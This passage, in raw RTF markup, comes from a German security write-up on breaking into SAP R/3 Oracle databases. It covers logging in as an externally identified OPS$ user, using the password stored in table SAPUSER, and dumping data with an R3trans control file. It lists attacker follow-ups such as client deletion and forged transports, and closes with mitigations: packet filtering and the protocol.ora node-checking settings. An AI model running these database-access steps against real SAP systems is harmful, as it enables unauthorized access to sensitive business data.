\sa0\par\fi0\sb0 \fs19 \~\fs21 \fs19 Connected.\sa0\par\fi0\sb0 SVRMGR>\fs21 \sa0\par\fi0\sb0 \fs19 \~10\~\fs21 \keepn\hyphpar0\par\pard\sb120\li960\sl312\qj \b\fs24\f0 Figure 9. Oracle hacken\sa120\keepn\hyphpar0\par\pard\sl-1{\*\do\dobxcolumn\dobypara\dodhgt0\dpline\dpptx0\dppty0\dpptx8065\dppty0\dpx960\dpy0\dpxsize8065\dpysize0\dplinew40}\par\pard\sb240\li1320\sl312\fi-360\qj \tx1320 (1)\tab \b0 Wir verbinden uns an die Datenbank als OPS$-User. Dieser ist im Oracle angelegt als \fs21\f2 identified externally\fs24\f0 , so dass wir hier kein Pa\'dfwort angeben m\'fcssen. Da wir nicht direkt auf dem Datenbank-Server arbeiten, geben wir die \i\f2 SID\i0\f0 an, diese wird mit Hilfe der SQL-NetV2-Konfiguration aufgel\'f6st.\hyphpar0\par\pard\sb120\li1320\sl312\fi-360\qj \tx1320 \b (2)\tab \b0 Mit dem in der Tabelle \fs21\f2 SAPUSER\fs24\f0 gespeicherten Pa\'dfwort k\'f6nnen wir und nun an die Datenbank anmelden.\hyphpar0\par\pard\sb259\s2\sl449 \b\fs34\f1 1.5. Zuk\'fcnftige Ideen\keepn\hyphpar0\par\pard\sb173\li960\sl312\qj \b0\fs24\lang1033\f0 In aktuellen SAP R/3 Versionen wird das Passwort verschl\'fcsselt in der Tabelle SAPUSER abgelegt. Damit ist es nicht mehr ganz so einfach - es gibt aber zwei Wege, die man verfolgen kann:\par\pard\sb120\li1200\sl312\fi-240\qj \tx1200 \fs19\lang1024 \'95\tab \fs24 Ein Angriff mit kryptographischen Methoden auf die Verschl\'fcsselung. Das w\'fcrde ich gerne mal versuchen, allerdings fehlt mir mindestens mittelfristig daf\'fcr die Zeit. Der OSS-Hinweis 150790 macht diese Idee besonders verlockend: \'bbF\'fcr die Verschl\'fcsselung wird die allgemeine SAP-Verschl\'fcsselungsroutine benutzt.\'ab Das l\'e4sst vermuten, dass man damit auch Passw\'f6rter von R/3 Benutzern knacken k\'f6nnte.\hyphpar0\par\pard\sb120\li1200\sl312\fi-240\qj \tx1200 \fs19 \'95\tab \fs24 Auf dem Laptop, den wir f\'fcr den Angriff verwendet haben k\'f6nnte man Tools wie \b R3trans\b0 installieren und damit Zugriff auf die Datenbank erhalten. Da die Verschl\'fcsselung in \b R3trans\b0 implementiert ist, m\'fcsste man ohne die oben genannte Analyse auskommen und dennoch Zugriff auf alle R/3 Daten haben. Ein kurzer Test zeigt mir folgendes:\sa240\hyphpar0\par\pard\sl-1{\*\do\dobxcolumn\dobypara\dodhgt0\dpline\dpptx0\dppty0\dpptx7825\dppty0\dpx1200\dpy0\dpxsize7825\dpysize0\dplinew40}\keepn\par\pard\sb120\li1200\sl281\qj \fs19\f2 \~\fs21 \sa0\par\fi0\sb0 \fs19 \~\fs21 \i\fs19 sid\i0 adm>\fs21 \b cat control\b0 \sa0\par\fi0\sb0 \fs19 \~\fs21 \fs19 export\sa0\par\fi0\sb0 compress=no\sa0\par\fi0\sb0 client=000\sa0\par\fi0\sb0 # select table where name = T000\sa0\par\fi0\sb0 select * from t000\fs21 \sa0\par\fi0\sb0 \fs19 \~\fs21 \i\fs19 sid\i0 adm>\fs21 \b R3trans control\b0 \sa0\par\fi0\sb0 \fs19 \~\~5\~\fs21 ...\sa0\par\fi0\sb0 \fs19 \~\fs21 \i\fs19 sid\i0 adm>\fs21 \b strings trans.dat\b0 \sa0\par\fi0\sb0 \fs19 \~\fs21 \fs19 ...\sa0\par\fi0\sb0 q 000SAP AG Walldorf DEM [...]\sa0\par\fi0\sb0 q 001Auslieferungsmandant R11 Kundstadt EUR [...]\sa0\par\fi0\sb0 ...\fs21 \sa0\par\fi0\sb0 \fs19 \~\fs21 \keepn\hyphpar0\par\pard\sb120\li1200\sl312\qj \b\fs24\f0 Figure 10. R3trans zum Datenbank-Zugriff\sa120\keepn\hyphpar0\par\pard\sl-1{\*\do\dobxcolumn\dobypara\dodhgt0\dpline\dpptx0\dppty0\dpptx7825\dppty0\dpx1200\dpy0\dpxsize7825\dpysize0\dplinew40}\par\pard\sb240\li1200\sl312\qj \b0\lang1033 Hier braucht man sich nur vorzustellen, was ein Angreifer auch tun k\'f6nnte:\par\pard\sb120\li1440\sl312\fi-240\qj \tx1440 \fs17\lang1024 \'95\tab \fs24 clientremove ;-)\hyphpar0\par\pard\sb120\li1440\sl312\fi-240\qj \tx1440 \fs17 \'95\tab \fs24 Tabellen exportieren und in einem WAS/IDES importieren und analysieren\hyphpar0\par\pard\sb120\li1440\sl312\fi-240\qj \tx1440 \fs17 \'95\tab \fs24 in einem WAS ein Transport-File generieren, z.B. mit einem Benutzer mit hinreichend vielen Berechtigungen oder geeigneten Belegen.\hyphpar0\par\pard\sb259\s2\sl449 \b\fs34\f1 1.6. Fazit\keepn\hyphpar0\par\pard\sb173\li960\sl312\qj \b0\fs24\lang1033\f0 Danke f\'fcr die Blumen. Die einzige Abhilfe, die mir einf\'e4llt ist der Aufbau eines Packet-Filters vor den Oracle-Ports und der Einsatz eines geswitchten Netzes. Au\'dferdem sollten Sie \'fcber einen Firewall zwischen den SAP-Servern und dem \'fcbrigen Netz nachdenken. Wirklich. M\'f6glicherweise w\'e4re dann der NFS-Hack fehlgeschlagen.\par\pard\sb120\li960\sl312\qj Intensivere Suche in verschiedenen Dokumenten hat zur Datei \fs21\f2 protocol.ora\fs24\f0 gef\'fchrt. In dieser Datei kann man mit dem Eintrag \fs21\f2 validnode_checking\fs24\f0 eine IP-basierte Pr\'fcfung einschalten. Der Eintrag \fs21\f2 invited_nodes\fs24\f0 enth\'e4lt dann die erlaubten IP-Adressen bzw. Hostnamen. Die {\field{\*\fldinst HYPERLINK \\l ID_lis_45_protocol_46_ora}{\fldrslt Figure 11}} zeigt ein passendes Beispiel.\sa240\par\pard\sl-1{\*\do\dobxcolumn\dobypara\dodhgt0\dpline\dpptx0\dppty0\dpptx8065\dppty0\dpx960\dpy0\dpxsize8065\dpysize0\dplinew40}\keepn\par\pard\sb120\li960\sl281\qj {\*\bkmkstart ID_lis_45_protocol_46_ora}{\*\bkmkend ID_lis_45_protocol_46_ora}\fs19\lang1024\f2 \~\fs21 \sa0\par\fi0\sb0 \fs19 \~\fs21 tcp.nodelay = true\sa0\par\fi0\sb0 \fs19 \~\fs21 tcp.validnode_checking = yes\sa0\par\fi0\sb0 \fs19 \~\fs21 tcp.invited_nodes = ( \fs19 hostname\fs21 , \fs19 hostname\fs21 )\sa0\par\fi0\sb0 \fs19 \~\~5\~\fs21 \keepn\hyphpar0\par\pard\sb120\li960\sl312\qj \b\fs24\f0 Figure 11. Die Datei \fs21\f2 protocol.ora\sa120\keepn\hyphpar0\par\pard\sl-1{\*\do\dobxcolumn\dobypara\dodhgt0\dpline\dpptx0\dppty0\dpptx8065\dppty0\dpx960\dpy0\dpxsize8065\dpysize0\dplinew40}\par\pard\sb240\li960\sl312\qj \b0\fs24\lang1033\f0 Nachteile des Einsatzes dieser Konfiguration ist, dass ein neuer Applikationsserver bzw. ein System aus dem Transportverbund (f\'fcr Testimporte) hier aufgenommen werden mu\'df. Man erkauft sich die h\'f6here Sicherheit also mit mehr Aufwand und eventuell einer aufw\'e4ndigen Fehlersuche, wenn man diese Einstellung vergessen hat.\par\pard\sb120\li960\sl312\qj Das wirklich gro\'dfe Problem aus meiner Sicht ist, dass SAP in der Standardinstallation unsicher installiert wird, in den Handb\'fcchern keinerlei Informationen zu diesem Problem zu finden sind und der Fix gut im OSS versteckt ist. Gerade Systeme mit zum Teil sehr sch\'fctzenswerten Daten wie SAP R/3 sollten in der Standardinstallation derartige L\'fccken nicht aufweisen. Das Problem ist seit 1999 bekannt, aber bisher habe ich keine \'c4nderungen in den Installationen entdeckt.\par\pard\sb259\s2\sl449 \b\fs34\lang1024\f1 1.7. OSS-Notes und R/3 Versionen\keepn\hyphpar0\par\pard\sb173\li960\sl312\qj \b0\fs24\lang1033\f0 Hinweis 186119, ab 4.5B ist Tabelle SAPUSER verschl\'fcsselt\par\pard\sb120\li960\sl312\qj 186119 g\'fcltig 4.0x, 4.5x, 4.6x. Lt. Handbuch keine \'c4nderung f\'fcr WAS/6.10\par\pard\sb120\li960\sl312\qj Ab 6.10 hei\'dft der Datenbank-Benutzer SAP:\par\pard\sb120\li960\sl312\qj Hinweis 361641: Anlegen der OPS$ Benutzer unter UNIX \'bbR/3 >= 6.10: Benutzen Sie das Skript oradbusr.sql (siehe auch Hinweis 50088).\'ab \par}